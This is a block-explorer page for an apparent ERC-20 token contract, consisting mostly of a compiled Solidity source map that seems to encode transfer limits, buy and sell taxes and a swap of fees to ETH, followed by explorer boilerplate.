;;;;;20521:15:0;;;4786:6;;20521:15;20513:53;;;;-1:-1:-1;;;20513:53:0;;8796:2:1;20513:53:0;;;8778:21:1;8835:2;8815:18;;;8808:30;8874:27;8854:18;;;8847:55;8919:18;;20513:53:0;8594:349:1;20513:53:0;20666:13;-1:-1:-1;;;;;20658:21:0;:4;-1:-1:-1;;;;;20658:21:0;;:44;;;;-1:-1:-1;;;;;;20684:18:0;;;;;;:14;:18;;;;;;;;20683:19;20658:44;20632:1118;;;20789:9;;20779:6;:19;;20745:152;;;;-1:-1:-1;;;20745:152:0;;9150:2:1;20745:152:0;;;9132:21:1;9189:2;9169:18;;;9162:30;9228:34;9208:18;;;9201:62;-1:-1:-1;;;9279:18:1;;;9272:45;9334:19;;20745:152:0;8948:411:1;20745:152:0;20980:12;;-1:-1:-1;;;;;8220:18:0;;8193:7;8220:18;;;;;;;;;;;20954:22;;:6;:22;:::i;:::-;:38;;20920:155;;;;-1:-1:-1;;;20920:155:0;;9566:2:1;20920:155:0;;;9548:21:1;9605:2;9585:18;;;9578:30;9644:33;9624:18;;;9617:61;9695:18;;20920:155:0;9364:355:1;20920:155:0;20632:1118;;;21179:13;-1:-1:-1;;;;;21173:19:0;:2;-1:-1:-1;;;;;21173:19:0;;:44;;;;-1:-1:-1;;;;;;21197:20:0;;;;;;:14;:20;;;;;;;;21196:21;21173:44;21147:603;;;21304:10;;21294:6;:20;;21260:155;;;;-1:-1:-1;;;21260:155:0;;9926:2:1;21260:155:0;;;9908:21:1;9965:2;9945:18;;;9938:30;10004:34;9984:18;;;9977:62;-1:-1:-1;;;10055:18:1;;;10048:47;10112:19;;21260:155:0;9724:413:1;21147:603:0;-1:-1:-1;;;;;21468:18:0;;;;;;:14;:18;;;;;;;;21467:19;:65;;;;-1:-1:-1;;;;;;21512:20:0;;;;;;:14;:20;;;;;;;;21511:21;21467:65;21441:309;;;21635:12;;-1:-1:-1;;;;;8220:18:0;;8193:7;8220:18;;;;;;;;;;;21609:22;;:6;:22;:::i;:::-;:38;;21575:155;;;;-1:-1:-1;;;21575:155:0;;9566:2:1;21575:155:0;;;9548:21:1;9605:2;9585:18;;;9578:30;9644:33;9624:18;;;9617:61;9695:18;;21575:155:0;9364:355:1;21575:155:0;21835:4;21786:28;8220:18;;;;;;;;;;;21891:10;;21867:34;;;;;;;21930:35;;-1:-1:-1;21954:11:0;;-1:-1:-1;;;21954:11:0;;;;21930:35;:61;;;;-1:-1:-1;21983:8:0;;;;21982:9;21930:61;:97;;;;;22017:10;;22008:6;:19;21930:97;:139;;;;;22055:13;-1:-1:-1;;;;;22047:21:0;:4;-1:-1:-1;;;;;22047:21:0;;22045:24;21930:139;:177;;;;-1:-1:-1;;;;;;22087:20:0;;;;;;:14;:20;;;;;;;;22086:21;21930:177;:213;;;;-1:-1:-1;;;;;;22125:18:0;;;;;;:14;:18;;;;;;;;22124:19;21930:213;21912:355;;;22170:8;:15;;-1:-1:-1;;22170:15:0;22181:4;22170:15;;;22200:24;:22;:24::i;:::-;22239:8;:16;;-1:-1:-1;;22239:16:0;;;21912:355;-1:-1:-1;;;;;22311:20:0;;22277:12;22311:20;;;:14;:20;;;;;;22292:4;;22311:20;;;:42;;-1:-1:-1;;;;;;22335:18:0;;;;;;:14;:18;;;;;;;;22311:42;22307:90;;;-1:-1:-1;22380:5:0;22307:90;22407:12;22438:7;22434:619;;;22465:10;;-1:-1:-1;;;22465:10:0;;;;22462:58;;;22494:9;:7;:9::i;:::-;22565:13;-1:-1:-1;;;;;22559:19:0;:2;-1:-1:-1;;;;;22559:19:0;;:35;;;;;22593:1;22582:8;;:12;22559:35;22555:353;;;22644:3;22632:8;;22623:6;:17;;;;:::i;:::-;22622:25;;;;:::i;:::-;22615:32;;22692:4;22666:22;;:30;;;;;;;:::i;:::-;;;;-1:-1:-1;22555:353:0;;-1:-1:-1;22555:353:0;;22763:13;-1:-1:-1;;;;;22755:21:0;:4;-1:-1:-1;;;;;22755:21:0;;:36;;;;;22790:1;22780:7;;:11;22755:36;22751:157;;;22840:3;22829:7;;22820:6;:16;;;;:::i;:::-;22819:24;;;;:::i;:::-;22812:31;;22888:4;22862:22;;:30;;;;;;;:::i;:::-;;;;-1:-1:-1;;22751:157:0;22926:8;;22922:91;;22955:42;22971:4;22985;22992;22955:15;:42::i;:::-;23027:14;23037:4;23027:14;;:::i;:::-;;;22434:619;23063:33;23079:4;23085:2;23089:6;23063:15;:33::i;:::-;19817:3287;;;;19704:3400;;;:::o;4878:132::-;4786:6;;-1:-1:-1;;;;;4786:6:0;4011:10;4942:23;4934:68;;;;-1:-1:-1;;;4934:68:0;;10872:2:1;4934:68:0;;;10854:21:1;;;10891:18;;;10884:30;10950:34;10930:18;;;10923:62;11002:18;;4934:68:0;10670:356:1;5973:191:0;6066:6;;;-1:-1:-1;;;;;6083:17:0;;;-1:-1:-1;;;;;;6083:17:0;;;;;;;6116:40;;6066:6;;;6083:17;6066:6;;6116:40;;6047:16;;6116:40;6036:128;5973:191;:::o;15718:289::-;-1:-1:-1;;;;;15833:19:0;;15825:28;;;;;;-1:-1:-1;;;;;15872:21:0;;15864:30;;;;;23304:495;23401:4;23357:23;8220:18;;;;;;;;;;;23454:22;;23493:20;;;:51;;-1:-1:-1;23517:27:0;;23493:51;23489:90;;;23561:7;;23304:495::o;23489:90::-;23613:10;;23595:15;:28;23591:89;;;23658:10;;23640:28;;23591:89;23694:33;23711:15;23694:16;:33::i;:::-;23748:10;;23740:51;;-1:-1:-1;;;;;23748:10:0;;;;;;;;;23769:21;23740:51;;;;;;;;;23769:21;23748:10;23740:51;;;;;;;;;;;;;;;;;;;;;23346:453;;23304:495::o;18955:431::-;19029:1;19016:10;;:14;18994:67;;;;-1:-1:-1;;;18994:67:0;;11233:2:1;18994:67:0;;;11215:21:1;11272:2;11252:18;;;11245:30;-1:-1:-1;;;11291:18:1;;;11284:46;11347:18;;18994:67:0;11031:340:1;18994:67:0;19145:10;;19095:12;;19072:20;;19145:14;;19158:1;19145:14;:::i;:::-;19118:41;;19189:16;19173:12;:32;19170:208;;19232:2;19222:7;:12;;;19249:8;:13;18983:403;;18955:431::o;19170:208::-;19305:1;19295:7;:11;;;19321:8;:12;19348:10;:18;;-1:-1:-1;;;;19348:18:0;;;18983:403;;18955:431::o;12277:806::-;-1:-1:-1;;;;;12374:18:0;;12366:68;;;;-1:-1:-1;;;12366:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12453:16:0;;12445:64;;;;-1:-1:-1;;;12445:64:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12595:15:0;;12573:19;12595:15;;;;;;;;;;;12629:21;;;;12621:72;;;;-1:-1:-1;;;12621:72:0;;11578:2:1;12621:72:0;;;11560:21:1;11617:2;11597:18;;;11590:30;11656:34;11636:18;;;11629:62;-1:-1:-1;;;11707:18:1;;;11700:36;11753:19;;12621:72:0;11376:402:1;12621:72:0;-1:-1:-1;;;;;12729:15:0;;;:9;:15;;;;;;;;;;;12747:20;;;12729:38;;12947:13;;;;;;;;;;:23;;;;;;12999:26;;1592:25:1;;;12947:13:0;;12999:26;;1565:18:1;12999:26:0;;;;;;;13038:37;23304:495;23805:401;23895:16;;;23909:1;23895:16;;;;;;;;23871:21;;23895:16;;;;;;;;;;-1:-1:-1;23895:16:0;23871:40;;23940:4;23922;23927:1;23922:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;23922:23:0;;;-1:-1:-1;;;;;23922:23:0;;;;;16916:42;-1:-1:-1;;;;;23966:20:0;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;23956:4;23961:1;23956:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;23956:32:0;;;:7;;;;;;;;;;;:32;24001:197;;-1:-1:-1;;;24001:197:0;;16916:42;;24001:66;;:197;;24082:11;;24108:1;;24125:4;;24152;;24172:15;;24001:197;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23860:346;23805:401;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1628:456::-;1705:6;1713;1721;1774:2;1762:9;1753:7;1749:23;1745:32;1742:52;;;1790:1;1787;1780:12;1742:52;1829:9;1816:23;1848:31;1873:5;1848:31;:::i;:::-;1898:5;-1:-1:-1;1955:2:1;1940:18;;1927:32;1968:33;1927:32;1968:33;:::i;:::-;1628:456;;2020:7;;-1:-1:-1;;;2074:2:1;2059:18;;;;2046:32;;1628:456::o;2718:247::-;2777:6;2830:2;2818:9;2809:7;2805:23;2801:32;2798:52;;;2846:1;2843;2836:12;2798:52;2885:9;2872:23;2904:31;2929:5;2904:31;:::i;:::-;2954:5;2718:247;-1:-1:-1;;;2718:247:1:o;2970:416::-;3035:6;3043;3096:2;3084:9;3075:7;3071:23;3067:32;3064:52;;;3112:1;3109;3102:12;3064:52;3151:9;3138:23;3170:31;3195:5;3170:31;:::i;:::-;3220:5;-1:-1:-1;3277:2:1;3262:18;;3249:32;3319:15;;3312:23;3300:36;;3290:64;;3350:1;3347;3340:12;3290:64;3373:7;3363:17;;;2970:416;;;;;:::o;3391:248::-;3459:6;3467;3520:2;3508:9;3499:7;3495:23;3491:32;3488:52;;;3536:1;3533;3526:12;3488:52;-1:-1:-1;;3559:23:1;;;3629:2;3614:18;;;3601:32;;-1:-1:-1;3391:248:1:o;3644:388::-;3712:6;3720;3773:2;3761:9;3752:7;3748:23;3744:32;3741:52;;;3789:1;3786;3779:12;3741:52;3828:9;3815:23;3847:31;3872:5;3847:31;:::i;:::-;3897:5;-1:-1:-1;3954:2:1;3939:18;;3926:32;3967:33;3926:32;3967:33;:::i;4037:380::-;4116:1;4112:12;;;;4159;;;4180:61;;4234:4;4226:6;4222:17;4212:27;;4180:61;4287:2;4279:6;4276:14;4256:18;4253:38;4250:161;;4333:10;4328:3;4324:20;4321:1;4314:31;4368:4;4365:1;4358:15;4396:4;4393:1;4386:15;4250:161;;4037:380;;;:::o;4422:127::-;4483:10;4478:3;4474:20;4471:1;4464:31;4514:4;4511:1;4504:15;4538:4;4535:1;4528:15;4554:125;4619:9;;;4640:10;;;4637:36;;;4653:18;;:::i;7068:401::-;7270:2;7252:21;;;7309:2;7289:18;;;7282:30;7348:34;7343:2;7328:18;;7321:62;-1:-1:-1;;;7414:2:1;7399:18;;7392:35;7459:3;7444:19;;7068:401::o;7474:399::-;7676:2;7658:21;;;7715:2;7695:18;;;7688:30;7754:34;7749:2;7734:18;;7727:62;-1:-1:-1;;;7820:2:1;7805:18;;7798:33;7863:3;7848:19;;7474:399::o;10142:168::-;10215:9;;;10246;;10263:15;;;10257:22;;10243:37;10233:71;;10284:18;;:::i;10315:217::-;10355:1;10381;10371:132;;10425:10;10420:3;10416:20;10413:1;10406:31;10460:4;10457:1;10450:15;10488:4;10485:1;10478:15;10371:132;-1:-1:-1;10517:9:1;;10315:217::o;10537:128::-;10604:9;;;10625:11;;;10622:37;;;10639:18;;:::i;11915:127::-;11976:10;11971:3;11967:20;11964:1;11957:31;12007:4;12004:1;11997:15;12031:4;12028:1;12021:15;12047:251;12117:6;12170:2;12158:9;12149:7;12145:23;12141:32;12138:52;;;12186:1;12183;12176:12;12138:52;12218:9;12212:16;12237:31;12262:5;12237:31;:::i;12303:980::-;12565:4;12613:3;12602:9;12598:19;12644:6;12633:9;12626:25;12670:2;12708:6;12703:2;12692:9;12688:18;12681:34;12751:3;12746:2;12735:9;12731:18;12724:31;12775:6;12810;12804:13;12841:6;12833;12826:22;12879:3;12868:9;12864:19;12857:26;;12918:2;12910:6;12906:15;12892:29;;12939:1;12949:195;12963:6;12960:1;12957:13;12949:195;;;13028:13;;-1:-1:-1;;;;;13024:39:1;13012:52;;13119:15;;;;13084:12;;;;13060:1;12978:9;12949:195;;;-1:-1:-1;;;;;;;13200:32:1;;;;13195:2;13180:18;;13173:60;-1:-1:-1;;;13264:3:1;13249:19;13242:35;13161:3;12303:980;-1:-1:-1;;;12303:980:1:o
Swarm Source
ipfs://4aac83d719e3d2fddef272b86b4ca7f578e7173e66a23c10fe0c153f6c233b51
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.